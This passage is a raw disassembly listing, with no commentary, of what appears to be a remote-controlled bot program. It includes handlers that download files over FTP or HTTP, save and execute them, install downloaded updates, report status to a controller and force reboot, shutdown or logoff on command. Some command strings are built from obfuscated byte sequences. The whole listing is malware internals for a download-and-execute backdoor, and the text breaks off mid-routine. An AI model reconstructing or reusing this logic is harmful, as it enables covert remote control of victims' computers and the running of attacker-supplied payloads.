		lea	ecx, [edi+50h]
		call	sub_401E65
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401E65
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_40137F


loc_41B871:				; CODE XREF: sub_41ACE0+116j
					; sub_41ACE0+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401456
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1


loc_41B8E2:				; CODE XREF: sub_41ACE0+549j
					; sub_41ACE0+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41ACE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC10	proc near		; CODE XREF: sub_401A41j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41BC10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4013CF
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4013CF
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41BC10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BCA0	proc near		; CODE XREF: sub_401456j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41BCA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41BCA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD40	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41BD40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401D2F
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4013CF
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4013CF
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4013CF
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_4370B0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41BD40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BE00	proc near		; CODE XREF: sub_401B63j

var_68		= dword	ptr -68h
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_FC		= byte ptr  100h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_10EC	= dword	ptr  10F0h
arg_1100	= byte ptr  1104h
arg_1114	= dword	ptr  1118h
arg_1144	= byte ptr  1148h
arg_1148	= dword	ptr  114Ch
arg_1150	= dword	ptr  1154h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_434872
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_430390
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_43FDC8
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jz	loc_41C508
		lea	ebx, [esi+65h]
		push	offset byte_43FDC8
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jz	loc_41C508
		lea	ecx, [esi+26h]
		push	offset byte_43FDC8
		call	sub_4012B7
		test	eax, eax
		jz	loc_41C508
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41BEA1
		push	offset byte_43FDC8
		lea	ecx, [esi+3Bh]
		call	sub_4012B7
		test	eax, eax
		jz	short loc_41BE94
		push	offset byte_43FDC8
		lea	ecx, [esi+50h]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41BEA1


loc_41BE94:				; CODE XREF: sub_41BE00+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41C510
; ---------------------------------------------------------------------------


loc_41BEA1:				; CODE XREF: sub_41BE00+70j
					; sub_41BE00+92j
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_401622
		push	offset byte_43FDC8
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012B7
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_4011F9
		test	ebp, ebp
		jz	short loc_41BF2E
		push	offset asc_43BB68 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_401726
		push	eax
		call	ds:dword_4B3AEC
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_4011F9
		test	ebp, ebp
		jnz	short loc_41BF3F


loc_41BF2E:				; CODE XREF: sub_41BE00+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41BF3F:				; CODE XREF: sub_41BE00+12Cj
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_401622
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401E65
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		call	ds:dword_4B38E0
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_401564
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41C0D4
		call	sub_401CD5
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_401726
		push	eax
		call	sub_401988
		add	esp, 8
		test	eax, eax
		jnz	short loc_41BFEC
		lea	ecx, [esi+7Ah]
		call	sub_4015F5
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		mov	[esp+38h+var_28], esi
		lea	edx, [esp+38h+var_28]
		jmp	loc_41C4E7
; ---------------------------------------------------------------------------


loc_41BFEC:				; CODE XREF: sub_41BE00+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_401726
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_401726
		push	eax
		call	sub_4020A4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C043
		lea	ecx, [esi+7Ah]
		call	sub_4015F5
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		lea	eax, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	eax
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C043:				; CODE XREF: sub_41BE00+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_4015F5
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		mov	eax, [esp+38h+var_24]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		call	sub_40161D
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41C0C2
		mov	ecx, edi
		call	sub_4015F5
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		lea	eax, [esp+48h+var_38]
		mov	[esp+48h+var_38], esi
		push	eax
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C0C2:				; CODE XREF: sub_41BE00+28Dj
		mov	ecx, [esp+38h+var_24]
		push	ecx
		call	sub_401C2B
		add	esp, 4
		jmp	loc_41C34B
; ---------------------------------------------------------------------------


loc_41C0D4:				; CODE XREF: sub_41BE00+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_4013CF
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_4013CF
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_401726
		push	eax
		call	sub_4019AB
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41C157
		lea	ecx, [esi+7Ah]
		call	sub_4015F5
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4992AB
		call	sub_4011E5
		push	ebx
		call	ds:dword_4B3CA8
		jmp	loc_41C215
; ---------------------------------------------------------------------------


loc_41C157:				; CODE XREF: sub_41BE00+310j
		push	ebp
		mov	ecx, edi
		call	sub_401726
		push	eax
		lea	ecx, [esi+26h]
		call	sub_401726
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_401384
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_401726
		push	eax
		push	ebx
		call	ds:dword_4B3C9C
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_4015F5
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_401726
		push	eax
		call	ds:dword_4B3A90
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41C250
		mov	ecx, edi
		call	sub_4015F5
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		lea	ecx, [esp+58h+var_48]
		mov	[esp+58h+var_48], esi
		push	ecx
		mov	ecx, offset byte_4992AB
		call	sub_4011E5


loc_41C215:				; CODE XREF: sub_41BE00+352j
		lea	ecx, [esp+58h+var_3C]
		mov	byte ptr [esp+58h+arg_1114], 3
		call	sub_4011F9
		lea	ecx, [esp+58h+var_C]
		mov	byte ptr [esp+58h+arg_1114], 2
		call	sub_4011F9
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+arg_1114], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_41C51B
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: sub_41BE00+3DBj
					; sub_41BE00+484j ...
		mov	eax, [esp+48h+var_34]
		push	0
		lea	edx, [esp+4Ch+arg_11C]
		push	1000h
		push	edx
		push	eax
		call	ds:dword_4B3C6C
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41C2C8
		cmp	ebp, 1000h
		jge	short loc_41C280
		mov	[esp+ebp+58h+arg_10C], 0


loc_41C280:				; CODE XREF: sub_41BE00+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41C250


loc_41C286:				; CODE XREF: sub_41BE00+4A5j
		push	4
		lea	ecx, [esp+edi+5Ch+arg_10C]
		push	offset asc_43BDCC ; "\r\n\r\n"
		push	ecx
		call	ds:dword_4B3ABC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41C2A9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41C286
		jmp	short loc_41C250
; ---------------------------------------------------------------------------


loc_41C2A9:				; CODE XREF: sub_41BE00+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41C2C8


loc_41C2B0:				; CODE XREF: sub_41BE00+4C6j
		movsx	edx, [esp+edi+58h+arg_10C]
		push	ebx
		push	edx
		call	ds:dword_4B3A88
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41C2B0


loc_41C2C8:				; CODE XREF: sub_41BE00+46Ej
					; sub_41BE00+4AEj ...
		mov	edi, [esp+58h+var_44]
		push	0
		lea	eax, [esp+5Ch+arg_10C]
		push	1000h
		push	eax
		push	edi
		call	ds:dword_4B3C6C
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41C318
		cmp	ebp, 1000h
		jge	short loc_41C2F8
		mov	[esp+ebp+68h+arg_FC], 0


loc_41C2F8:				; CODE XREF: sub_41BE00+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41C2C8


loc_41C2FE:				; CODE XREF: sub_41BE00+514j
		movsx	ecx, [esp+edi+68h+arg_FC]
		push	ebx
		push	ecx
		call	ds:dword_4B3A88
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41C2FE
		jmp	short loc_41C2C8
; ---------------------------------------------------------------------------


loc_41C318:				; CODE XREF: sub_41BE00+4E6j
		push	ebx
		call	ds:dword_4B3A94
		add	esp, 4
		push	edi
		call	ds:dword_4B3CA8
		lea	ecx, [esp+6Ch+var_50]
		mov	[esp+6Ch+arg_1100], 3
		call	sub_4011F9
		lea	ecx, [esp+6Ch+var_20]
		mov	[esp+6Ch+arg_1100], 2
		call	sub_4011F9


loc_41C34B:				; CODE XREF: sub_41BE00+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41C3E7
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_401726
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_4015F5
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41C4DF
		push	offset byte_43FDC8
		mov	ecx, ebp
		call	sub_401726
		push	eax
		call	sub_401262
		add	esp, 8
		mov	ecx, ebp
		call	sub_401726
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_4015F5
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		jmp	loc_41C4DF
; ---------------------------------------------------------------------------


loc_41C3E7:				; CODE XREF: sub_41BE00+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_401726
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_4015F5
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		lea	edx, [esp+6Ch+var_50]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4018DE
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+6Ch+arg_1100], 5
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_401479
		push	eax
		call	sub_401FBE
		add	esp, 8
		lea	ecx, [esp+6Ch+var_50]
		mov	bl, al
		mov	[esp+6Ch+arg_1100], 2
		call	sub_4011F9
		test	bl, bl
		jz	short loc_41C4BA
		mov	al, ds:byte_44072E
		test	al, al
		jz	short loc_41C489
		push	offset dword_4406CC
		mov	ecx, offset dword_441C08
		call	sub_4013F2


loc_41C489:				; CODE XREF: sub_41BE00+678j
		mov	al, ds:byte_440777
		test	al, al
		jz	short loc_41C4A1
		push	offset byte_4407A7
		mov	ecx, offset dword_441C08
		call	sub_40186B


loc_41C4A1:				; CODE XREF: sub_41BE00+690j
		mov	ecx, offset dword_441C08
		call	sub_401D20
		push	1
		mov	ds:byte_499254,	0
		call	ds:dword_4B3AB8


loc_41C4BA:				; CODE XREF: sub_41BE00+66Fj
		mov	ecx, edi
		call	sub_401479
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_48873B
		call	sub_4010FF


loc_41C4DF:				; CODE XREF: sub_41BE00+597j
					; sub_41BE00+5E2j
		mov	[esp+80h+var_68], esi
		lea	edx, [esp+80h+var_68]


loc_41C4E7:				; CODE XREF: sub_41BE00+1E7j
		push	edx


loc_41C4E8:				; CODE XREF: sub_41BE00+23Ej
					; sub_41BE00+2BDj
		mov	ecx, offset byte_4992AB
		call	sub_4011E5
		lea	ecx, [esp+80h+var_4C]
		mov	[esp+80h+arg_10EC], 0FFFFFFFFh
		call	sub_4011F9
		jmp	short loc_41C51B
; ---------------------------------------------------------------------------


loc_41C508:				; CODE XREF: sub_41BE00+36j
					; sub_41BE00+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41C510:				; CODE XREF: sub_41BE00+9Cj
		push	eax
		mov	ecx, offset byte_4992AB
		call	sub_4011E5


loc_41C51B:				; CODE XREF: sub_41BE00+44Bj
					; sub_41BE00+706j
		mov	ecx, [esp+1Ch+arg_1148]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
sub_41BE00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401A9Bj

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+40h+var_3C]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+6Ch+var_3C]
		push	10h
		push	edx
		call	sub_4018DE
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+40h+var_3C]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+64h+var_24]
		push	10h
		push	ecx
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 2
		call	sub_401726
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+40h+var_24]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+40h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_4010A0j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41C8EB
		push	offset aSysReboot ; "sys(reboot)"
		lea	ecx, [edi+69h]
		call	sub_4015F5
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 14h
		push	0
		push	6
		call	ds:dword_4B3C14
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41C8EB:				; CODE XREF: sub_41C890+1Ej
		lea	ecx, [esi+32h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41C93A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_4015F5
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 14h
		push	0
		push	5
		call	ds:dword_4B3C14
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41C93A:				; CODE XREF: sub_41C890+6Dj
		lea	ecx, [esi+60h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41C981
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_4015F5
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 14h
		push	0
		push	4
		call	ds:dword_4B3C14


loc_41C981:				; CODE XREF: sub_41C890+BCj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
sub_41C890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C9D0	proc near		; CODE XREF: sub_401E15j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C9D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+6Ch+var_3C]
		push	10h
		push	edx
		call	sub_4018DE
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+78h+var_3C]
		push	10h
		push	ecx
		call	sub_4018DE
		add	esp, 3Ch
		mov	[esp+44h+var_4], 2
		push	esi
		mov	ecx, eax
		call	sub_401726
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+78h+var_3C]
		push	10h
		push	eax
		call	sub_4018DE
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 3
		call	sub_401726
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+78h+var_24]
		push	10h
		push	edx
		call	sub_4018DE
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 4
		call	sub_401726
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_41C9D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41CC30	proc near		; CODE XREF: sub_401596j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41CC30
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41CDCA
